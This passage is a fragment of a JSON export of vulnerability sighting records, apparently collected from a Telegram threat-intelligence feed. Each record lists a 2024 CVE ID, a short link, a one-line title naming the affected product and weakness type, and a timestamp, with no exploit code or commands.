"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22108", "type": "seen", "source": "https://t.me/ctinow/182316", "content": "https://ift.tt/dFuKMea\nCVE-2024-22108 Exploit", "creation_timestamp": "2024-02-09T23:16:28.000000Z"}, {"uuid": "6d192545-3e67-409b-9d3a-9ccd674580c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22550", "type": "seen", "source": "https://t.me/ctinow/187902", "content": "https://ift.tt/6Dwvq3i\nCVE-2024-22550 | ShopSite 14.0 SVG File /alsdemo/ss/mediam.cgi unrestricted upload (ID 176312)", "creation_timestamp": "2024-02-19T20:26:37.000000Z"}, {"uuid": "fa914a95-765e-4766-9bcb-533190f6e616", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22425", "type": "seen", "source": "https://t.me/ctinow/186361", "content": "https://ift.tt/nX3lgW5\nCVE-2024-22425", "creation_timestamp": "2024-02-16T13:26:15.000000Z"}, {"uuid": "e3c882e1-d57f-48b5-92a9-0349c15737c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22283", "type": "seen", "source": "https://t.me/ctinow/188086", "content": "https://ift.tt/XrRczQB\nCVE-2024-22283 | Delhivery Logistics Courier Plugin up to 1.0.107 on WordPress sql injection", "creation_timestamp": "2024-02-20T03:41:38.000000Z"}, {"uuid": "c051c4d6-9444-4973-9415-d0a4ae2e5e02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22914", "type": "seen", "source": "https://t.me/ctinow/185571", "content": "https://ift.tt/StZ12fm\nCVE-2024-22914 | SWFTools 0.9.2/5.c lex.swf5.c input use after free (Issue 214)", "creation_timestamp": "2024-02-15T14:51:26.000000Z"}, {"uuid": "69ae0182-bf18-41c6-b1d7-c4b54d71d83d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22913", "type": "seen", "source": "https://t.me/ctinow/185570", "content": "https://ift.tt/7f4sdrG\nCVE-2024-22913 | SWFTools 0.9.2/5.c lex.swf5.c swf5lex heap-based overflow (Issue 213)", "creation_timestamp": "2024-02-15T14:51:24.000000Z"}, {"uuid": "cfecd6fd-9a83-44e5-acf2-87eae56719aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22662", "type": "seen", "source": "https://t.me/ctinow/186860", "content": "https://ift.tt/6pIZbjD\nCVE-2024-22662 | Totolink A3700R 9.1.2u.6165_20211012 setParentalRules stack-based overflow", "creation_timestamp": "2024-02-17T10:41:10.000000Z"}, {"uuid": "f2f4642a-8afe-4471-aba5-5b7a4c690b24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22019", "type": "seen", "source": "https://t.me/ctinow/188084", "content": "https://ift.tt/mZAVQrM\nCVE-2024-22019", "creation_timestamp": "2024-02-20T03:32:06.000000Z"}, {"uuid": "6a4d897a-e515-4842-b488-377b748b9812", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22229", "type": "seen", "source": "https://t.me/ctinow/187168", "content": "https://ift.tt/PvZcj9d\nCVE-2024-22229 | Dell Unity 5.3.0.0.5.120 neutralization for logs (dsa-2023-141)", "creation_timestamp": "2024-02-18T08:41:03.000000Z"}, {"uuid": "5d826d03-cec3-4483-95a1-1814a000c3fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22380", "type": "seen", "source": "https://t.me/ctinow/186978", "content": "https://ift.tt/o2uzXsx\nCVE-2024-22380 | Ministry of Agriculture, Forestry and Fisheries Electronic Delivery Check System up to 14.0.001.002 XML File xml external entity reference", "creation_timestamp": "2024-02-17T17:16:15.000000Z"}, {"uuid": "3f31c8b6-df8f-477d-b308-d90b2278b8e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22207", "type": "seen", "source": "https://t.me/ctinow/186447", "content": "https://ift.tt/r0TbhkD\nCVE-2024-22207 Node.js Vulnerability in NetApp Products", "creation_timestamp": "2024-02-16T15:31:54.000000Z"}, {"uuid": "b0383b04-419a-4321-bb97-08db1abba22d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22019", "type": "seen", "source": "https://t.me/ctinow/186578", "content": "https://ift.tt/t3ySqwK\nCVE-2024-22019", "creation_timestamp": "2024-02-16T19:02:04.000000Z"}, {"uuid": "30955058-c026-4b65-9ed4-c469a1164153", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22119", "type": "seen", "source": "https://t.me/ctinow/185961", "content": "https://ift.tt/CJxjpli\nCVE-2024-22119 Exploit", "creation_timestamp": "2024-02-15T23:16:17.000000Z"}, {"uuid": "ec9feebd-7c5f-4b3b-819a-019a40364070", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22636", "type": "seen", "source": "https://t.me/ctinow/187316", "content": "https://ift.tt/ewNkZFW\nCVE-2024-22636 | PluXml Blog 5.8.9 Static Pages Content injection", "creation_timestamp": "2024-02-18T17:41:55.000000Z"}, {"uuid": "57e8202e-006b-4793-a1a0-5763a10e6578", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22749", "type": "seen", "source": "https://t.me/ctinow/187287", "content": "https://ift.tt/EPtGKy5\nCVE-2024-22749 | GPAC 2.3 isomedia/isom_write.c gf_isom_new_generic_sample_description buffer overflow (Issue 2713)", "creation_timestamp": "2024-02-18T16:11:41.000000Z"}, {"uuid": "8bff722d-86f4-4cdb-9e8a-7abe4d55c138", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22529", "type": "seen", "source": "https://t.me/ctinow/187286", "content": "https://ift.tt/TE6uXRa\nCVE-2024-22529 | Totolink X2000R V2 2.0.0-B20230727.10434 /bin/boa sub_449040 command injection", "creation_timestamp": "2024-02-18T16:11:40.000000Z"}, {"uuid": "1388d1ce-12c9-446f-860b-c148664a1d50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22233", "type": "seen", "source": "https://t.me/ctinow/186199", "content": "https://ift.tt/3zVDk28\nCVE-2024-22233 | VMware Spring Framework 6.0.15/6.1.2 HTTP Request denial of service", "creation_timestamp": "2024-02-16T09:11:52.000000Z"}, {"uuid": "af5c56c0-783d-4f38-9649-f76c2609a603", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22955", "type": "seen", "source": "https://t.me/ctinow/185601", "content": "https://ift.tt/mjv0ZuS\nCVE-2024-22955 | SWFTools 0.9.2 swftools/src/swfc.c:2576 parseExpression stack-based overflow (Issue 207)", "creation_timestamp": "2024-02-15T15:21:59.000000Z"}, {"uuid": "7565a29b-cd44-4848-adb3-b05844dd7286", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22309", "type": "seen", "source": "https://t.me/ctinow/187070", "content": "https://ift.tt/Rp5dLSf\nCVE-2024-22309 | QuantumCloud ChatBot with AI Plugin up to 5.1.0 on WordPress deserialization", "creation_timestamp": "2024-02-17T23:21:41.000000Z"}, {"uuid": "e64b5ad1-900e-45e7-b429-601b4f47bb98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22308", "type": "seen", "source": "https://t.me/ctinow/187063", "content": "https://ift.tt/r2q30sH\nCVE-2024-22308 | smp7 Simple Membership Plugin up to 4.4.1 on WordPress redirect", "creation_timestamp": "2024-02-17T22:56:17.000000Z"}, {"uuid": "a873a55d-1c6f-4def-81a6-46ae22ee7d9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22301", "type": "seen", "source": "https://t.me/ctinow/187062", "content": "https://ift.tt/DP2kOIW\nCVE-2024-22301 | Ignazio Scimone Albo Pretorio On line Plugin up to 4.6.6 on WordPress information disclosure", "creation_timestamp": "2024-02-17T22:56:16.000000Z"}, {"uuid": "cd35da81-4191-4689-845f-ca389dcc87a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22294", "type": "seen", "source": "https://t.me/ctinow/187060", "content": "https://ift.tt/q16AjSs\nCVE-2024-22294 | IP2Location Country Blocker Plugin up to 2.33.3 on WordPress information disclosure", "creation_timestamp": "2024-02-17T22:26:35.000000Z"}, {"uuid": "c58613de-dc7d-40c9-bfb2-178388364fb1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22284", "type": "seen", "source": "https://t.me/ctinow/187056", "content": "https://ift.tt/xqnU1ZT\nCVE-2024-22284 | Thomas Belser Asgaros Forum Plugin up to 2.7.2 on WordPress deserialization", "creation_timestamp": "2024-02-17T21:51:48.000000Z"}, {"uuid": "86512423-6edd-4c23-9922-53b762ac95b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22134", "type": "seen", "source": "https://t.me/ctinow/187055", "content": "https://ift.tt/G6XSBCN\nCVE-2024-22134 | Renzo Johnson Contact Form 7 Extension for Mailchimp Plugin up to 0.5.70 on WordPress server-side request forgery", "creation_timestamp": "2024-02-17T21:51:47.000000Z"}, {"uuid": "99c3e655-f4bf-448e-bd0a-96e0c9da8c2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22637", "type": "seen", "source": "https://t.me/ctinow/187334", "content": "https://ift.tt/Rt0MYS2\nCVE-2024-22637 | Form Tools 3.1.1 preview.php cross site scripting (ID 176403)", "creation_timestamp": "2024-02-18T18:46:57.000000Z"}, {"uuid": "2ae29d9e-b0ec-4e73-91b9-c4124b9a9f4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22635", "type": "seen", "source": "https://t.me/ctinow/187321", "content": "https://ift.tt/t9sNyHq\nCVE-2024-22635 | WebCalendar 1.3.0 edit_entry.php cross site scripting (ID 176365)", "creation_timestamp": "2024-02-18T18:11:21.000000Z"}, {"uuid": "d4be4063-11a9-4f50-a963-a42728906632", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22751", "type": "seen", "source": "https://t.me/ctinow/187220", "content": "https://ift.tt/QpjX9Nq\nCVE-2024-22751 | D-Link DIR-882 FW130B06 sub_477AA0 stack-based overflow", "creation_timestamp": "2024-02-18T11:41:28.000000Z"}, {"uuid": "a6288567-c9d0-44e3-ae61-e7f55eafe3e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22366", "type": "seen", "source": "https://t.me/ctinow/186963", "content": "https://ift.tt/qjPilXJ\nCVE-2024-22366 | Yamaha WLX222/WLX413/WLX212/WLX313/WLX202 debug code", "creation_timestamp": "2024-02-17T16:21:32.000000Z"}, {"uuid": "f1f4d024-c741-46f8-9f1e-9ba2acd19f7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22099", "type": "seen", "source": "https://t.me/ctinow/187235", "content": "https://ift.tt/vzF9KTV\nCVE-2024-22099 | Linux Kernel up to 6.7 core.C null pointer dereference", "creation_timestamp": "2024-02-18T13:06:39.000000Z"}, {"uuid": "ccad1197-9038-4b5f-92ba-64b2671a901b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22922", "type": "seen", "source": "https://t.me/ctinow/187344", "content": "https://ift.tt/8gJZmst\nCVE-2024-22922 | Project Worlds Visitor Management Systemin 1.0 Login Page POST/index.php privileges management", "creation_timestamp": "2024-02-18T19:16:29.000000Z"}, {"uuid": "2beee004-f1c0-41bd-a710-9f2196bc812b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22639", "type": "seen", "source": "https://t.me/ctinow/187343", "content": "https://ift.tt/yYra4I7\nCVE-2024-22639 | iGalerie 3.0.22 Editing Interface Titre cross site scripting (ID 176411)", "creation_timestamp": "2024-02-18T19:16:28.000000Z"}, {"uuid": "9cfd614d-885e-474c-a0d2-687c54ae964c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22337", "type": "seen", "source": "https://t.me/ctinow/186984", "content": "https://ift.tt/CbXsrkT\nCVE-2024-22337", "creation_timestamp": "2024-02-17T17:26:37.000000Z"}, {"uuid": "a259e29d-ef23-414a-9493-2af02e062519", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22705", "type": "seen", "source": "https://t.me/ctinow/186802", "content": "https://ift.tt/IOx35R8\nCVE-2024-22705 | Linux Kernel up to 6.6.9 fs/smb/server/smb2misc.c smb2_get_data_area_len out-of-bounds", "creation_timestamp": "2024-02-17T07:36:24.000000Z"}, {"uuid": "780aa077-de73-4740-9219-f23370ef3513", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22727", "type": "seen", "source": "https://t.me/ctinow/186776", "content": "https://ift.tt/3iqCGJH\nCVE-2024-22727", "creation_timestamp": "2024-02-17T05:21:49.000000Z"}, {"uuid": "6b0e0634-a42e-4dee-af32-93849a1a49fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22337", "type": "seen", "source": "https://t.me/ctinow/186988", "content": "https://ift.tt/CbXsrkT\nCVE-2024-22337", "creation_timestamp": "2024-02-17T17:26:41.000000Z"}, {"uuid": "2e804d90-4a01-4221-88f8-c269ac791132", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22336", "type": "seen", "source": "https://t.me/ctinow/186987", "content": "https://ift.tt/gAL2nHj\nCVE-2024-22336", "creation_timestamp": "2024-02-17T17:26:40.000000Z"}, {"uuid": "1ec4797a-9b9d-4495-a2f7-ede702b2a4ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22335", "type": "seen", "source": "https://t.me/ctinow/186986", "content": "https://ift.tt/3yvFImb\nCVE-2024-22335", "creation_timestamp": "2024-02-17T17:26:39.000000Z"}, {"uuid": "4b9efdd6-0a10-480e-86e5-6248a2e912b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22372", "type": "seen", "source": "https://t.me/ctinow/186969", "content": "https://ift.tt/B93zvgH\nCVE-2024-22372 | Elecom WRC-X1800GS-B 1.09/1.12/1.17/earlier/earlier Request os command injection", "creation_timestamp": "2024-02-17T16:46:48.000000Z"}, {"uuid": "e45a2548-fdde-449c-8779-9c4ef5166dc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22497", "type": "seen", "source": "https://t.me/ctinow/186886", "content": "https://ift.tt/CX5wYqp\nCVE-2024-22497 | JFinalcms 5.0.0 URL /admin/login password cross site scripting", "creation_timestamp": "2024-02-17T12:11:42.000000Z"}, {"uuid": "a046fddd-4c11-4eca-9cc1-25ac36db31f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22203", "type": "seen", "source": "https://t.me/ctinow/186866", "content": "https://ift.tt/s7IGx8j\nCVE-2024-22203 | benbusby whoogle-search up to 0.8.3 GET Request app/routes.py element src_type/element_url server-side request forgery (GHSL-2023-186)", "creation_timestamp": "2024-02-17T11:06:51.000000Z"}, {"uuid": "858fa7ce-2bc5-4e7d-8594-a9eab4be6b51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22205", "type": "seen", "source": "https://t.me/ctinow/186865", "content": "https://ift.tt/PW4lfg0\nCVE-2024-22205 | benbusby whoogle-search up to 0.8.3 GET Request request.py send location server-side request forgery (GHSL-2023-186)", "creation_timestamp": "2024-02-17T11:06:50.000000Z"}, {"uuid": "9716b227-2dab-4034-b8cb-63a5926f3423", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22496", "type": "seen", "source": "https://t.me/ctinow/186864", "content": "https://ift.tt/cTsORZG\nCVE-2024-22496 | JFinalcms 5.0.0 /admin/login username cross site scripting", "creation_timestamp": "2024-02-17T11:06:49.000000Z"}, {"uuid": "67f0a475-28d7-447c-8e06-65ececf19edc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22490", "type": "seen", "source": "https://t.me/ctinow/186863", "content": "https://ift.tt/rIByXkN\nCVE-2024-22490 | beetl-bbs 2.0 /index keyword cross site scripting", "creation_timestamp": "2024-02-17T10:41:14.000000Z"}, {"uuid": "8e972350-c24f-40ab-b545-25a5db5078a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22660", "type": "seen", "source": "https://t.me/ctinow/186862", "content": "https://ift.tt/PsDloyE\nCVE-2024-22660 | Totolink A3700R 9.1.2u.6165_20211012 setLanguageCfg stack-based overflow", "creation_timestamp": "2024-02-17T10:41:13.000000Z"}, {"uuid": "3e3806d8-8a78-4283-b60b-29ecb3ec3395", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22663", "type": "seen", "source": "https://t.me/ctinow/186861", "content": "https://ift.tt/BfPX5IE\nCVE-2024-22663 | Totolink A3700R 9.1.2u.6165_20211012 setOpModeCfg command injection", "creation_timestamp": "2024-02-17T10:41:11.000000Z"}, {"uuid": "2faf2667-35a0-43fb-85e6-08196e9a098f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22076", "type": "seen", "source": "https://t.me/ctinow/186808", "content": "https://ift.tt/PJqATOu\nCVE-2024-22076 | MyQ Print Server up to 8.2 Patch 42 improper authentication", "creation_timestamp": "2024-02-17T08:06:39.000000Z"}, {"uuid": "d1e149c0-816d-42ac-9e1c-bcdc7540b40c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22426", "type": "seen", "source": "https://t.me/ctinow/186362", "content": "https://ift.tt/2XuMPvh\nCVE-2024-22426", "creation_timestamp": "2024-02-16T13:26:16.000000Z"}, {"uuid": "c4fc2597-d5f0-4241-ab9e-192aa8033b1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22854", "type": "seen", "source": "https://t.me/ctinow/186234", "content": "https://ift.tt/2hczYak\nCVE-2024-22854", "creation_timestamp": "2024-02-16T10:26:48.000000Z"}, {"uuid": "d6d5d3a9-ce99-42ff-8b9e-c1f1bbc1e1d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22768", "type": "seen", "source": "https://t.me/ctinow/186609", "content": "https://ift.tt/23UMmje\nCVE-2024-22768 | Hitron DVR HVR-4781 up to 4.02 default credentials", "creation_timestamp": "2024-02-16T20:21:30.000000Z"}, {"uuid": "977592ce-0165-44ee-b2c7-818dde999618", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22769", "type": "seen", "source": "https://t.me/ctinow/186608", "content": "https://ift.tt/S2gGoxh\nCVE-2024-22769 | Hitron DVR HVR-8781 up to 4.02 default credentials", "creation_timestamp": "2024-02-16T20:21:29.000000Z"}, {"uuid": "a7a98b61-8662-4066-8518-2eeaf1782224", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22770", "type": "seen", "source": "https://t.me/ctinow/186607", "content": "https://ift.tt/y5Jd1kV\nCVE-2024-22770 | Hitron DVR HVR-16781 up to 4.02 default credentials", "creation_timestamp": "2024-02-16T20:21:28.000000Z"}, {"uuid": "1e3b6c3e-8827-4384-9b9f-7f9746a0a847", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22771", "type": "seen", "source": "https://t.me/ctinow/186600", "content": "https://ift.tt/q16oh0H\nCVE-2024-22771 | Hitron DVR LGUVR-4H up to 4.02 default credentials", "creation_timestamp": "2024-02-16T19:51:40.000000Z"}, {"uuid": "c2933591-f452-46fe-8247-6d1b842aa0ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22772", "type": "seen", "source": "https://t.me/ctinow/186590", "content": "https://ift.tt/d5Uvkiu\nCVE-2024-22772 | Hitron DVR LGUVR-8H up to 4.02 ID/PW default credentials", "creation_timestamp": "2024-02-16T19:26:27.000000Z"}, {"uuid": "02f465fb-6801-4198-a499-e96b5c31d863", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22523", "type": "seen", "source": "https://t.me/ctinow/179502", "content": "https://ift.tt/5ZiL0xH\nCVE-2024-22523 Exploit", "creation_timestamp": "2024-02-05T21:16:45.000000Z"}, {"uuid": "686ffe7b-02b4-4793-80e0-b2b237648cd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22567", "type": "seen", "source": "https://t.me/ctinow/185106", "content": "https://ift.tt/62yP0Bt\nCVE-2024-22567 Exploit", "creation_timestamp": "2024-02-14T23:16:35.000000Z"}, {"uuid": "3ab60480-e09f-4d0f-8e0e-9fefd0142d62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22211", "type": "published-proof-of-concept", "source": "https://t.me/ctinow/185954", "content": "https://ift.tt/bNDxKRQ\nCVE-2024-22211 | FreeRDP up to 2.11.4/3.1.x planar.c freerdp_bitmap_planar_context_reset heap-based overflow (GHSA-rjhp-44rv-7v59)", "creation_timestamp": "2024-02-15T23:02:26.000000Z"}, {"uuid": "61490990-af36-4f9c-aeee-df9019a7b2f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22795", "type": "seen", "source": "https://t.me/ctinow/185873", "content": "https://ift.tt/fCKtvNR\nCVE-2024-22795 Exploit", "creation_timestamp": "2024-02-15T21:16:54.000000Z"}, {"uuid": "dedb8344-290e-4c8c-97b4-0e3eba22e07f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22895", "type": "seen", "source": "https://t.me/ctinow/186208", "content": "https://ift.tt/X5ohDOm\nCVE-2024-22895 | DedeCMS 5.7.112 module_upload.php unrestricted upload", "creation_timestamp": "2024-02-16T09:41:25.000000Z"}, {"uuid": "bae8cfcc-4312-4ba7-919f-a519dd148d52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22113", "type": "seen", "source": "https://t.me/ctinow/186170", "content": "https://ift.tt/mIpfiLF\nCVE-2024-22113 | Anglersnet Access Analysis CGI An-Analyzer up to 20231231 URL redirect", "creation_timestamp": "2024-02-16T08:16:36.000000Z"}, {"uuid": "1f08dd39-ebe2-4088-9ce4-d1ad08c924b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22563", "type": "seen", "source": "https://t.me/ctinow/185517", "content": "https://ift.tt/xXCquGL\nCVE-2024-22563 | OpenvSwitch 2.17.8 /lib/util.c xmalloc__ memory leak (Issue 315)", "creation_timestamp": "2024-02-15T13:51:29.000000Z"}, {"uuid": "6eda58ed-527d-4d91-9d53-c1040c408da6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22421", "type": "seen", "source": "https://t.me/ctinow/185659", "content": "https://ift.tt/BJgYPx0\nCVE-2024-22421 | JupyterLab up to 2.7.1/3.6.6/4.0.10/4.1.0b1 information disclosure", "creation_timestamp": "2024-02-15T16:27:05.000000Z"}, {"uuid": "46475444-b947-4baa-8a50-32e9acd3075c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22420", "type": "seen", "source": "https://t.me/ctinow/185643", "content": "https://ift.tt/RPZqabU\nCVE-2024-22420 | JupyterLab up to 4.0.10 cross site scripting", "creation_timestamp": "2024-02-15T15:56:51.000000Z"}, {"uuid": "4d1831c6-71af-4ab7-bf8c-18e30688afed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22900", "type": "seen", "source": "https://t.me/ctinow/180969", "content": "https://ift.tt/zUgSJny\nCVE-2024-22900 Exploit", "creation_timestamp": "2024-02-07T21:17:14.000000Z"}, {"uuid": "32855db1-9026-4691-8bcf-e8c121f94252", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22899", "type": "seen", "source": "https://t.me/ctinow/180967", "content": "https://ift.tt/hyWw2K4\nCVE-2024-22899 Exploit", 